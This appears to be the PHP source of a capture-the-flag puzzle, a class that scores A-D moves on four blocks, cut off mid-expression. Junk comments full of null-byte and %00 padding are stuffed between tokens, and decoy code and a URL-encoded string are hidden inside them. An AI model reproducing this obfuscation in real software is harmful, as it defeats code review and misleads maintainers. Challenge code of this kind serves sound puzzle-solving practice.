    class InazumaPuzzle/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/{private $blockA \= 0;private $blockB \= 0;private $blockC= 0;private $blockD \= 0;private/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*//\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*//\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/$MAX\_ENUM \= 2;private/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/$MIN\_ENUM \= 0;  
        public function/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/\_\_construct() {$this \-> blockA \= 2;$this-> blockB \=/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/  
            0;$this \-> blockC \= 0;/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/$this \-> blockD \= 2;}  
  
        private/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/function setBackBlock($block)/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/{$setType \= $this/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/-> MIN\_ENUM;  
            $maxType \= $this \-> MAX\_ENUM;  
            switch ($block) {  
                case 'A':if ($this \-> blockA \== $maxType) { $this \-> blockA \= $setType;return true; }  
                    else return/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/false;  
                case 'B':  
                    if ($this \-> blockB== $maxType) { $this \-> blockB \= $setType;return true; }else return false;  
                case 'C':  
                    if ($this/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/-> blockC \== $maxType){ $this \-> blockC \= $setType;return true; }else/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/return false;  
                case 'D':  
                    if ($this \-> blockD== $maxType) { $this \-> blockD \= $setType;return true; }  
                    else return false;  
                default: throw new Exception("bad\_args", 1);  
            }  
        }  
  
        private function hit($blockIdx) {  
            global/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgj  
            global $cnbd;  
            rejfgireghjebvf;fvevbbn();ff;  
            grtisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/$text;  
            $text \= urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");  
            switch ($blockIdx) {  
                case "A":  
                    if (!$this \-> setBackBlock("A")) $this \-> blockA += 1;  
                    if (!$this \-> setBackBlock("B")) $this \-> blockB += 1;  
                    break;  
                case "B":  
                    if (!$this \-> setBackBlock("A")) $this \-> blockA += 1;  
                    if (!$this \-> setBackBlock("B")) $this \-> blockB += 1;if (!$this \-> setBackBlock("C")) $this \->/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/blockC += 1;  
                    break;  
                case "C":if/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/  
                (!$this \-> setBackBlock("B")) $this \-> blockB += 1;if (!$this \-> setBackBlock("C")) $this \-> blockC += 1;  
                    if (!$this \->/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/setBackBlock("D"))$this \-> blockD += 1;  
                    break;  
                case "D":  
                    if (!$this \-> setBackBlock("C")) $this \-> blockC += 1;  
                    if (!$this \-> setBackBlock("D")) $this \-> blockD += 1;  
                    break;  
                default: throw new Exception("bad\_args", 1);   
            }  
        }  
  
        public function \_\_AFG50CE4\_RG1() {  
            global $puzz\_writeup;  
            if (count($puzz\_writeup) \=== 0) throw new Exception("Invalid WriteUP",1);for ($i \= 0; $i < count($puzz\_writeup);/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/  
            // bcdufvcf%00  
            $i++) {  
                if (strcmp($puzz\_writeup\[$i\],"A") !== 0 and strcmp($puzz\_writeup\[$i\],"B") !== 0 and strcmp($puzz\_writeup\[$i\]/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!  
  
                \\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/,"C") !== 0 and strcmp($puzz\_writeup\[$i\],"D") !== 0) die("笨蛋笨蛋笨蛋笨蛋!!~ 都...都跟你说了答案里只能有ABCD的......");  
            }  
            for ($i \= 0; $i < count($puzz\_writeup); $i++) $this \-> hit($puzz\_writeup\[$i\]);  
            global/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/$userans;   
            $userans \=/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/$this \->blockA + $this/\*->ddd;  
            echo();die();\\n\\0  
            \\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/-> blockB + $this \-> 